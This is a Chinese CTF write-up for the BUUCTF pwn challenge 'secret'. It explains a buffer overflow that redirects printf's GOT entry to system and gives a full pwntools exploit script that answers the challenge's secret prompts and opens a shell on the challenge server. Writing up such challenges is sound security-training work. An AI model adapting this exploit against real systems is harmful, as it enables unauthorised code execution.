BUUCTF(pwn)[BJDCTF 2nd]secret

感觉这道题技巧性比较强

在这里插入图片描述
在这里插入图片描述有两次输入 一次名字,一次 密码

在这里插入图片描述
先进 46A3AF

在这里插入图片描述
这里有一次输入 name

看一下 0x40136D的汇编

在这里插入图片描述这里每次有一次 调用 0x46A329,并且 有一次cmp比较; 那么进入 0x46a329

在这里插入图片描述
进去看看0x401301
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
发现 printf_plt 的位置 与 system的位置相差0x10即16
我们可以一开始输入name的时候输入bin/sh; 把0x46d090覆盖为printf_plt,
经过16次输入比较, 前15次输入对的,最后一次输入错误的,使地址偏移为 system,
得到flag;

在这里插入图片描述思路

输入name 为 bin/sh
修改off_46D090, 为printf_got。
答对15次,答错一次刚好16次即0x10
使得printf_got指向system
from pwn import *

p = remote('node3.buuoj.cn',26671)

elf = ELF('./2')

printf_got=elf.got['printf']

keys=[0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]

payload='/bin/sh\x00'.ljust(0x10,'a')+p32(printf_got)

p.sendlineafter("What's your name?",payload)

for a in keys:

	p.sendlineafter('Secret:',str(a))

p.sendlineafter('Secret:','1')

p.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半岛铁盒@

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值